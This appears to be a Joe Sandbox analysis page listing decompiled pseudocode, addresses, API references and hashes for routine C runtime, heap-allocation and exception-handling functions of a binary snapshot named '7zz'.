0x004100f3
0x00410133
0x0041013d
0x00410145
0x00410150
0x00410157
0x00410157
0x0041015f
0x00410164
0x00410167
0x0041016c
0x00410170
0x00410172
0x00410177
0x0041017a
0x0041017d
0x00410180
0x0041018b
0x00410196
0x004101a1
0x004101a2
0x004101a7
0x004101ae
0x004101b3
0x004101b5
0x00410172
0x004101bf
0x004101c4
0x004101d1
0x004101d5
0x004101e0
0x004101eb
0x004101f3
0x004101f5
0x00410203
0x00410206
0x00410209
0x00410214
0x00410217
0x0041021c
0x0041021d
0x004101f5
0x00410225
0x00410229
0x0041022e
0x00410234
0x00410238
0x0041023d
0x00410244
0x00410249
0x0041024f
0x00410256
0x0041025b
0x00410262
0x0041026d
0x00410275
0x00410275

APIs

__EH_prolog.LIBCMT ref: 00410043

Part of subcall function 00415349: __EH_prolog.LIBCMT ref: 0041534E

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

Strings

59@, xrefs: 0041005E, 0041028D, 004102A6

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: 59@
API String ID: 3519838083-2780377667
Opcode ID: 1da9e1a022e0a9748e6cd7e2ea63a4edcb6d09d7033d2754eef261f029407856
Instruction ID: a6bdb68d8052a433f7f109985f49a34908dcb5d84b45f2bdbde216e6b6000813
Opcode Fuzzy Hash: 1da9e1a022e0a9748e6cd7e2ea63a4edcb6d09d7033d2754eef261f029407856
Instruction Fuzzy Hash: AD914EB0C00258DFCB14EF9AC985ADDBBB5BF54308F1181AEE109B7292DB785A44CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B431 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040B431(intOrPtr* __ecx, void* __edx, void* __eflags) {
				void* __edi;
				signed int _t24;
				void* _t53;

				L0046B890(0x473d9c, _t53);
				_t47 =  *(_t53 + 8);
				if(L0040B669( *(_t53 + 8)) == 0) {
					_t15 = _t53 + 8;
					 *_t15 =  *(_t53 + 8) | 0xffffffff;
					__eflags =  *_t15;
					 *(_t53 - 4) = 1;
					_t24 = E0040B174(_t53 + 8, _t47,  *_t15, _t47, __ecx); // executed
					_t34 = _t24;
					E0040B154(_t53 + 8);
				} else {
					L0040B414(__ecx);
					 *(_t53 - 0x1c) =  *(_t53 - 0x1c) | 0xffffffff;
					 *((char*)(__ecx + 0x24)) = 1;
					_t34 = 0;
					 *(_t53 - 4) = 0;
					if(L0040BC4A(_t47) != 0) {
						L00403593(__ecx + 0x28, _t47 + 8);
						if( *((intOrPtr*)(_t53 - 0x17)) != 0) {
							 *__ecx =  *((intOrPtr*)(_t53 - 0x14));
							 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(_t53 - 0x10));
						}
						_t34 = 1;
					}
					 *(_t53 - 4) =  *(_t53 - 4) | 0xffffffff;
					L0040B87D(_t53 - 0x1c);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t53 - 0xc));
				return _t34;
			}

0x0040b436
0x0040b441
0x0040b44f
0x0040b49e
0x0040b49e
0x0040b49e
0x0040b4a7
0x0040b4ae
0x0040b4b6
0x0040b4b8
0x0040b451
0x0040b453
0x0040b458
0x0040b45c
0x0040b460
0x0040b466
0x0040b470
0x0040b479
0x0040b481
0x0040b486
0x0040b48b
0x0040b48b
0x0040b48e
0x0040b48e
0x0040b490
0x0040b497
0x0040b497
0x0040b4c5
0x0040b4cd

APIs

__EH_prolog.LIBCMT ref: 0040B436

Strings

59@, xrefs: 0040B440

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: 59@
API String ID: 3519838083-2780377667
Opcode ID: cb7b4bd2c4af9b8fe15fa2cdcbd2e201475b04ce8f4a32cc0f81032e162c00ed
Instruction ID: 8a2df7c348f84777b7ad1a159669c3b3579df71dbce98e58b468e3cdb01b9464
Opcode Fuzzy Hash: cb7b4bd2c4af9b8fe15fa2cdcbd2e201475b04ce8f4a32cc0f81032e162c00ed
Instruction Fuzzy Hash: 2B11C4719002049ACB24EF59C4519EEBBB4EF55368F10823EE866A73C2C7389B05CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 00406D26 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E00406D26(signed int* __ecx) {
				signed int _t17;
				signed int* _t18;
				signed int* _t22;
				signed int _t31;
				signed int* _t34;
				void* _t36;

				L0046B890(0x473641, _t36);
				_push(__ecx);
				_t34 = __ecx;
				 *__ecx =  *(_t36 + 8);
				_t22 = 0;
				_t17 = 4;
				 *((intOrPtr*)(_t36 - 0x10)) = __ecx;
				__ecx[3] = 0;
				__ecx[4] = 0;
				__ecx[5] = 0;
				__ecx[6] = _t17;
				__ecx[2] = 0x47a420;
				_t31 =  *__ecx;
				 *((intOrPtr*)(_t36 - 4)) = 0;
				_push(_t31 * 0x1c + _t17); // executed
				_t18 = L004079F2(); // executed
				 *(_t36 + 8) = _t18;
				 *((char*)(_t36 - 4)) = 1;
				if(_t18 != 0) {
					_push(E00406E0B);
					_t11 =  &(_t18[1]); // 0x4
					_t22 = _t11;
					 *_t18 = _t31;
					L0046BDE5(_t22, 0x1c, _t31, E00406DA2);
				}
				 *(_t34 + 4) = _t22;
				 *[fs:0x0] =  *((intOrPtr*)(_t36 - 0xc));
				return _t34;
			}

0x00406d2b
0x00406d30
0x00406d36
0x00406d3b
0x00406d3d
0x00406d3f
0x00406d40
0x00406d43
0x00406d46
0x00406d49
0x00406d4c
0x00406d4f
0x00406d56
0x00406d58
0x00406d62
0x00406d63
0x00406d69
0x00406d6e
0x00406d72
0x00406d74
0x00406d7e
0x00406d7e
0x00406d85
0x00406d87
0x00406d87
0x00406d8f
0x00406d97
0x00406d9f

APIs

__EH_prolog.LIBCMT ref: 00406D2B

Strings

59@, xrefs: 00406D38, 00406D4F, 00406D62, 00406D81

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: 59@
API String ID: 3519838083-2780377667
Opcode ID: ccaf45141dc2e5dfeafb79c2efc15b9fdd1926c8c86a780438c4f9b1b500aaa8
Instruction ID: 8e0203aed7f2cdd9f9826150055b001f54c225d166ae57bfc4d77955059de4c0
Opcode Fuzzy Hash: ccaf45141dc2e5dfeafb79c2efc15b9fdd1926c8c86a780438c4f9b1b500aaa8
Instruction Fuzzy Hash: E30152B1A00304AFD724DF5ED885A9AFBF4FB48704B50893FE14AD7781D3749A448B94

Uniqueness

Uniqueness Score: -1.00%

Function 0046EA66 Relevance: 3.0, APIs: 2, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0046EA66(void* __ecx, intOrPtr _a4) {
				void* _t6;
				intOrPtr _t8;
				void* _t9;
				void* _t10;
				void* _t12;

				_t12 = __ecx;
				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				_t15 = _t6;
				 *0x496580 = _t6;
				if(_t6 == 0) {
					L7:
					return 0;
				} else {
					_t8 = E0046E91E(_t12, _t15);
					 *0x496584 = _t8;
					if(_t8 != 3) {
						__eflags = _t8 - 2;
						if(_t8 != 2) {
							goto L8;
						} else {
							_t10 = L0046F60A();
							goto L5;
						}
					} else {
						_t10 = E0046EAC3(0x3f8);
						L5:
						if(_t10 != 0) {
							L8:
							_t9 = 1;
							return _t9;
						} else {
							HeapDestroy( *0x496580);
							goto L7;
						}
					}
				}
			}

0x0046ea66
0x0046ea77
0x0046ea7d
0x0046ea7f
0x0046ea84
0x0046eabc
0x0046eabe
0x0046ea86
0x0046ea86
0x0046ea8e
0x0046ea93
0x0046eaa2
0x0046eaa5
0x00000000
0x0046eaa7
0x0046eaa7
0x00000000
0x0046eaa7
0x0046ea95
0x0046ea9a
0x0046eaac
0x0046eaae
0x0046eabf
0x0046eac1
0x0046eac2
0x0046eab0
0x0046eab6
0x00000000
0x0046eab6
0x0046eaae
0x0046ea93

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0046CFAA,00000001), ref: 0046EA77

Part of subcall function 0046E91E: GetVersionExA.KERNEL32 ref: 0046E93D

HeapDestroy.KERNEL32 ref: 0046EAB6

Part of subcall function 0046EAC3: HeapAlloc.KERNEL32(00000000,00000140,0046EA9F,000003F8), ref: 0046EAD0

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 529c86f540b2e3f00af20ac8cc2ba51f405252cf123252289ac745e0dd2c21fe
Instruction ID: 6733a5d0b54313f111c3d21430f7c760d78354a0b10c30e4881add0b2ce5f3d9
Opcode Fuzzy Hash: 529c86f540b2e3f00af20ac8cc2ba51f405252cf123252289ac745e0dd2c21fe
Instruction Fuzzy Hash: 12F06D78610301AAEB205BB3AC0572A36D0BB50792F25483BF804C85E4FB6889C4A61B

Uniqueness

Uniqueness Score: -1.00%

Function 0046C003 Relevance: 1.6, APIs: 1, Instructions: 80
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E0046C003(unsigned int _a4) {
				signed int _v8;
				intOrPtr _v20;
				void* _v32;
				intOrPtr _t19;
				void* _t20;
				signed char _t22;
				void* _t23;
				void* _t24;
				void* _t36;
				unsigned int _t44;
				unsigned int _t46;
				intOrPtr _t47;
				void* _t50;

				_push(0xffffffff);
				_push(0x47c848);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t47;
				_t19 =  *0x496584; // 0x1
				if(_t19 != 3) {
					__eflags = _t19 - 2;
					if(_t19 != 2) {
						goto L11;
					} else {
						_t24 = _a4;
						__eflags = _t24;
						if(_t24 == 0) {
							_t44 = 0x10;
						} else {
							_t9 = _t24 + 0xf; // 0xf
							_t44 = _t9 & 0xfffffff0;
						}
						_a4 = _t44;
						__eflags = _t44 -  *0x49015c; // 0x1e0
						if(__eflags > 0) {
							L10:
							_push(_t44);
							goto L14;
						} else {
							E0046E56A(9);
							_pop(_t36);
							_v8 = 1;
							_v32 = L0046F902(_t36, _t44 >> 4);
							_v8 = _v8 | 0xffffffff;
							E0046C0C9();
							_t23 = _v32;
							__eflags = _t23;
							if(_t23 == 0) {
								goto L10;
							}
						}
					}
				} else {
					_t46 = _a4;
					_t50 = _t46 -  *0x49657c; // 0x0
					if(_t50 > 0) {
						L11:
						_t20 = _a4;
						__eflags = _t20;
						if(_t20 == 0) {
							_t20 = 1;
						}
						_t22 = _t20 + 0x0000000f & 0x000000f0;
						__eflags = _t22;
						_push(_t22);
						L14:
						_push(0);
						_t23 = RtlAllocateHeap( *0x496580); // executed
					} else {
						E0046E56A(9);
						_v8 = _v8 & 0x00000000;
						_push(_t46);
						_v32 = E0046EE5F();
						_v8 = _v8 | 0xffffffff;
						E0046C06A();
						_t23 = _v32;
						if(_t23 == 0) {
							goto L11;
						} else {
						}
					}
				}
				 *[fs:0x0] = _v20;
				return _t23;
			}

0x0046c006
0x0046c008
0x0046c00d
0x0046c018
0x0046c019
0x0046c026
0x0046c02e
0x0046c073
0x0046c076
0x00000000
0x0046c078
0x0046c078
0x0046c07b
0x0046c07d
0x0046c089
0x0046c07f
0x0046c07f
0x0046c082
0x0046c082
0x0046c08a
0x0046c08d
0x0046c093
0x0046c0c3
0x0046c0c3
0x00000000
0x0046c095
0x0046c097
0x0046c09c
0x0046c09d
0x0046c0b0
0x0046c0b3
0x0046c0b7
0x0046c0bc
0x0046c0bf
0x0046c0c1
0x00000000
0x00000000
0x0046c0c1
0x0046c093
0x0046c030
0x0046c030
0x0046c033
0x0046c039
0x0046c0d2
0x0046c0d2
0x0046c0d5
0x0046c0d7
0x0046c0db
0x0046c0db
0x0046c0df
0x0046c0df
0x0046c0e1
0x0046c0e2
0x0046c0e2
0x0046c0ea
0x0046c03f
0x0046c041
0x0046c047
0x0046c04b
0x0046c052
0x0046c055
0x0046c059
0x0046c05e
0x0046c063
0x00000000
0x00000000
0x0046c065
0x0046c063
0x0046c039
0x0046c0f3
0x0046c0fe

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 0046C0EA

Part of subcall function 0046E56A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5A7
Part of subcall function 0046E56A: EnterCriticalSection.KERNEL32(?,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5C2

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: e575e1167a8f99009fb8e2b1a8c0ea7b311c1eb59cc096f5b025c246e8b2173c
Instruction ID: fa3294983cb7f1a3e0ff108d5f2fbcd3700c82697a380beb40c47041fad90e01
Opcode Fuzzy Hash: e575e1167a8f99009fb8e2b1a8c0ea7b311c1eb59cc096f5b025c246e8b2173c
Instruction Fuzzy Hash: 8821CC31A40204EBDB10DFA5DC82BAE7764FB00764F20412BF455E72D1E77D9D41865E

Uniqueness

Uniqueness Score: -1.00%

Function 00411194 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00411194(void* __ecx, void* __edx) {
				void* _t17;
				intOrPtr* _t19;
				char _t20;
				void* _t36;
				void* _t41;

				_t17 = L0046B890(E00474258, _t41);
				_t36 = __ecx;
				if( *((intOrPtr*)(__edx + 4)) != 0) {
					_t17 = E00408A3B(__edx);
					_t47 = _t17;
					if(_t17 == 0) {
						L0040B521(_t41 - 0x54);
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						_push(__edx);
						_t19 = E0040B0A0(_t41 - 0x1c, _t36);
						 *(_t41 - 4) = 1;
						_t20 = E0040B431(_t41 - 0x54, _t36, _t47,  *_t19); // executed
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						 *((char*)(_t41 - 0xd)) = _t20;
						L00407A18( *((intOrPtr*)(_t41 - 0x1c)));
						if( *((char*)(_t41 - 0xd)) != 0) {
							E00401E26(__edx, _t41 - 0x2c);
						}
						_t17 = L00407A18( *((intOrPtr*)(_t41 - 0x2c)));
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t17;
			}

0x00411199
0x004111a5
0x004111ab
0x004111af
0x004111b4
0x004111b6
0x004111bb
0x004111c0
0x004111c4
0x004111ca
0x004111d4
0x004111d8
0x004111dd
0x004111e1
0x004111e7
0x004111f1
0x004111f9
0x004111f9
0x00411201
0x00411206
0x004111b6
0x0041120c
0x00411214

APIs

__EH_prolog.LIBCMT ref: 00411199

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Part of subcall function 0040B431: __EH_prolog.LIBCMT ref: 0040B436

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3f2aa2f0a0685f544a815ae2bafa434bc2f73450f177d8b353e65cf44b4f0f47
Instruction ID: 608382dd46c2c598823991ebebde0f7aed9941af7d6df7122e602381931aeda8
Opcode Fuzzy Hash: 3f2aa2f0a0685f544a815ae2bafa434bc2f73450f177d8b353e65cf44b4f0f47
Instruction Fuzzy Hash: 0E019E31E00258AACF15E7A9D4017EEB7B89F85358F14C0AFE411B32D2CB7C1A08C799

Uniqueness

Uniqueness Score: -1.00%

Function 0046B4F9 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0046B4F9(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr* _v12;
				intOrPtr _t15;
				intOrPtr* _t17;

				_v12 =  *[fs:0x0];
				_v8 = 0x46b521;
				_push(0);
				_push(_a8);
				_push(_v8);
				_push(_a4);
				L004727E0(); // executed
				 *(_a8 + 4) =  *(_a8 + 4) & 0x000000fd;
				_t15 =  *[fs:0x0];
				_t17 = _v12;
				 *_t17 = _t15;
				 *[fs:0x0] = _t17;
				return _t15;
			}

0x0046b507
0x0046b50a
0x0046b511
0x0046b513
0x0046b516
0x0046b519
0x0046b51c
0x0046b52c
0x0046b52f
0x0046b535
0x0046b538
0x0046b53a
0x0046b545

APIs

RtlUnwind.KERNEL32(?,0046B521,?,00000000), ref: 0046B51C

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Unwind
String ID:
API String ID: 3419175465-0
Opcode ID: 73a9813a6649be3475551b8fc4c68aaac706ee5eaf7c551576ed95a4fa8c52a5
Instruction ID: 52ae9b8bd75d5fafa5ee9d387307b0db60c3ad37fb1489d81a9bf4d5160ee7b3
Opcode Fuzzy Hash: 73a9813a6649be3475551b8fc4c68aaac706ee5eaf7c551576ed95a4fa8c52a5
Instruction Fuzzy Hash: 10F0D476600648FFCB11CF89C981F8AFBB8FB09754F10C46AF9099B610D379AA00CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00405C72 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00405C72(void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t14;
				void* _t17;
				void* _t22;
				void* _t24;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t32;

				_t32 = __eflags;
				L0046B890(0x4734b8, _t27);
				_push(_t17);
				_push(_t24);
				 *0x490a80 = 0x490ab8;
				 *((intOrPtr*)(_t27 - 0x10)) = _t29 - 0x30;
				 *0x490a7c = E00405F22();
				E004018A2(_t27 - 0x14);
				 *(_t27 - 4) =  *(_t27 - 4) & 0x00000000;
				 *(_t27 - 4) = 1;
				_t14 = E00403A70(_t17, _t22, _t24, _t32, _t22); // executed
				_t25 = _t14;
				 *(_t27 - 4) =  *(_t27 - 4) | 0xffffffff;
				E00401917(_t27 - 0x14); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t27 - 0xc));
				return _t25;
			}

0x00405c72
0x00405c77
0x00405c7f
0x00405c80
0x00405c82
0x00405c8c
0x00405c97
0x00405c9c
0x00405ca1
0x00405ca5
0x00405ca9
0x00405cae
0x00405f05
0x00405f0c
0x00405f18
0x00405f21

APIs

__EH_prolog.LIBCMT ref: 00405C77

Part of subcall function 00405F22: GetVersionExA.KERNEL32(?), ref: 00405F3C

Part of subcall function 004018A2: SetConsoleCtrlHandler.KERNEL32(004018DA,00000001,?,?,?,00405CA1), ref: 004018B6

Part of subcall function 00403A70: __EH_prolog.LIBCMT ref: 00403A75
Part of subcall function 00403A70: SetFileApisToOEM.KERNEL32 ref: 00403A83
Part of subcall function 00403A70: GetCommandLineW.KERNEL32 ref: 00403A9E

Part of subcall function 00401917: SetConsoleCtrlHandler.KERNELBASE(004018DA,00000000,?,?,00405F11), ref: 00401928

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ConsoleCtrlH_prologHandler$ApisCommandFileLineVersion
String ID:
API String ID: 3811785086-0
Opcode ID: e9cb7d4847eacb32bd0261b85e1eabd0854b54bd825164040ec013db58bdf870
Instruction ID: fcab1c6799a526d6cc84579c245541fcc004ed5d2a27ee256b075ce021a0ee51
Opcode Fuzzy Hash: e9cb7d4847eacb32bd0261b85e1eabd0854b54bd825164040ec013db58bdf870
Instruction Fuzzy Hash: 9FF0BE72D002459ECB04EBAA980269EBB74EB60368F10857FE412732D1D77C0B04CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0046B8F4 Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0046B8F4(void* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				intOrPtr _v20;
				CONTEXT* _v32;
				void _v36;
				char* _t14;
				signed int _t15;

				_t15 = 8;
				_v12 = memcpy( &_v36, 0x47c7f8, _t15 << 2);
				_v8 = _a8;
				_t14 =  &_v16;
				_push(_t14);
				_push(_v20);
				KiUserExceptionDispatcher(_v36, _v32); // executed
				return _t14;
			}

0x0046b901
0x0046b90c
0x0046b912
0x0046b915
0x0046b918
0x0046b919
0x0046b922
0x0046b92b

APIs

KiUserExceptionDispatcher.NTDLL(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 78da64c83f022de252c9f3b9393e79e8e8f0598f65b7705b2bb17acd63838e59
